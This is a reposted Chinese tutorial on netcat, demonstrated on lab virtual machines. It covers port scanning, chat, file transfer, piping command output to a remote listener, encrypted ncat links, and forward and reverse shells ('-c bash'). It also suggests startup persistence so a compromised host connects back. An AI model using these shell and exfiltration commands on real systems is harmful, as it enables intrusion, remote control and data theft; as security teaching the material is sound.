(转)nc工具使用(Netcat)
原文:https://www.cnblogs.com/pandana/p/15881273.html
netcat是网络工具中的瑞士军刀(小身材、大智慧,60kB),它是一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,它能够建立你需要的几乎所有类型的网络连接,github可下载windows版本,但我更喜欢使用kali集成下的版本,下面开始演示nc常用的五大操作+缺陷弥补。
NC功能:端口探测、传输文本信息、传输文件/目录、远程电子取证信息收集、远程控制等常用操作(网上说的加密传输文件、流媒体服务器等用处不大这里不做演示)
NC缺点:数据明文传输、缺乏身份验证的能力(先连者先得)。
配合比较常用的管道符命令使得nc工具更强大:
| 表示管道:上一条命令的输出,作为下一条命令参数(输入)。ps -aux | grep aux。
>符号是指:将正常信息重定向。 find / -name “*.txt” > /tmp/log.txt,例-在根目录下根据名字来查找*.tx输入的日志放置/tmp/log.txt文件中。
&>可以将错误信息或者普通信息都重定向输出。
在kali上输入nc -h即可查看nc所有的命令详解
NC常用的参数:
-l 侦听模式,用于入站连接,大部分配合-p参数使用
-p 指定本地的端口号
-n 后面跟IP地址,直接解析IP不解析域名,速度更快
-v 输出连接的详细信息,输入vv可以看到更详细的信息
-z 端口扫描,默认使用tcp模式
-u 指定udp模式扫描探测,一般配合-z参数使用
-c shell命令,通常为 -c bash返回一个bash shell
-q 在标准输入完之后退出,延迟多少秒 例如 -q 1表示被连接完成后1秒钟关闭连接
NC使用演示(虚拟机三台192.168.8.110kali1、192.168.8.130kali2、192.168.8.129win7)
一、端口探测(主要命令-z)
nc -v ip地址 端口(常规探测,输出nc探测信息和目的ip的指定端口)
nc -nvz 192.168.8.129 445(扫描192.168.8.129主机的445端口开放情况,-n指定后面跟IP地址而不是域名)
nc -nvz 192.168.8.129 1-1000 (扫描192.168.8.129主机的1-1000端口开放情况,需要关闭win7防火墙)
nc -nvvzu 192.168.8.129 1-500(扫描1到500间的UDP端口,并在终端返回详细的探测信息)
总结:netcat里面的端口扫描功能比较低配,不及nmap强大。
二、传输文本信息(主要命令-lp,需要两台机子都有nc工具)
先有一台服务端开放一个随机的侦听端口 nc -lp 8888,另一台客户端再连接服务端的端口 nc -nv 目的地址 8888
kali1【192.168.8.110】:nc -lvp 8888(侦听并开放本地的8888端口,等待连接...)
kali2【192.168.8.130】:nc -nv 192.168.8.110 8888(使用nc直接连接kali1的8888端口,两者交互开始,可以传输文本数据了)
可以看到,刚开始侦听端口的一端能显示该端口已经被192.168.8.130连接上了,下面可以发数据了,例如hell,hi,chifan? chi这样聊天
总结:此功能类似23端口的talnet一样,明文传输文本信息,发短信一样的功能。
三、传输文件/目录(只演示单方向传输,可以尝试举一反三)
传输文件:
A端kali1:nc -lp 8888 > nc.jpeg(A作为接收端打开端口,将本地侦听的8888端口的信息输出到文件名nc.jpeg里面,有人连接,传输完成后,一秒钟就断开)
B端kali2:nc -nv 192.168.8.110 8888 < nc.jpeg -q 1 (B端作为发送端,把nc.jpeg文件输入到192.168.8.110的8888端口里面)
传输目录:
A端kali1:tar -cvf - /root/Desktop/picture | nc -lp 8888-q 1
B端kali2:nc 192.168.8.110 8888 | tar -xvf -(-不能少)
总结:传输目录与传输文件功能很像,其实就是多了个解压缩的命令
四、远程电子取证信息收集
例子1(收集B端的系统信息,但是不在B端留下命令的痕迹,把系统命令全部通过管道传输到A端):
A端kali1:nc -lp 8888
B端kali2:ls -l | nc -nv 192.168.8.110 8888(B端里面执行的ls系统命令在A端里面显示,B端无痕)
例子2:
A端kali1:nc -lp 8888 > ps.txt (开启本地的8888端口,一旦有人侦听连接把传输的内容保存到ps.txt里面)
B端kali2:ps aux | nc -nv 192.168.8.110 8888 -q 1(连接192.168.8.110的8888端口,并且输入本机的ps aux命令通过管道传输到侦听端口,-q 1表示把命令参数一秒后自动关闭连接)
总结:可以发散思维创建多几种正反向的连接,其实这个功能有点类型反弹shell行为了。
五、远控操作(两者服务器都需要有nc工具,nc重要的功能之一)
正向shell(被攻击的服务器端开启8888端口的bash shell,一旦有人连接了8888端口就会给他返回一个shell,客户端回车能直接执行服务器端的系统命令,例如ls、ifconfig等,正向比较容易理解)
kali1(被攻击的服务器):nc -lp 8888 -c bash(被攻击的服务器主动开启8888端口,谁先连上shell就给谁)
kali2(攻击者服务器):nc -nv 192.168.8.110 8888(主动连接目的服务器的8888端口来获取shell,然后获得root权限执行系统命令)
反向shell(被攻击的服务器主动外连攻击者服务器的8888端口并且给他一个bash shell,反向shell的目的是防止被攻击者的IDC服务器里面的防火墙拦截,一般目的服务器只开80和443端口,让服务器开放本地端口出网难度大,但是可以让被攻击的服务器直接连攻击者的服务器端口,写一个shell脚本放在配置文件里面设置开机自启动,肉鸡即可上线)
kali1(攻击者服务器):nc -lp 8888(攻击者的服务器开启并监听本地的8888端口,等待肉鸡上线即可执行系统命令)
kali2(被攻击的服务器):nc -nv 目的地址 333 -c bash(主动对攻击者的服务器进行外联并给他一个bash shell)
总结:被攻击者的服务器一般部署在公网上,多读两遍就能理解正向和反向shell的逻辑了。注:windows用户把bash改成cmd。
六、缺点弥补—ncat
NC缺乏加密和身份验证的能力(明文传输容易被侦听,NC打开的一个端口容易被其他人连接无法判断),Ncat包含于nmap工具包中(利用ncat进行管道加密传输)
实验环境使用 kail linux默认没有ncat工具,它是nmap里面的一部分,首先在 linux 虚拟机上安装 NC linux 环境:apt-get install netcat
两个最主要的参数:--ssl 加密传输,--allow 只允许某个主机连接
kali1:ncat -c bash --allow 192.168.8.130-vnl 8888 --ssl(--allow 只允许192.168.8.130这个IP地址来连接我,--ssl 加密流量。做成加密管道)
kali2:ncat -nv 192.168.8.110 8888 --ssl(两者建立的是一条基于加密管道通信的隧道)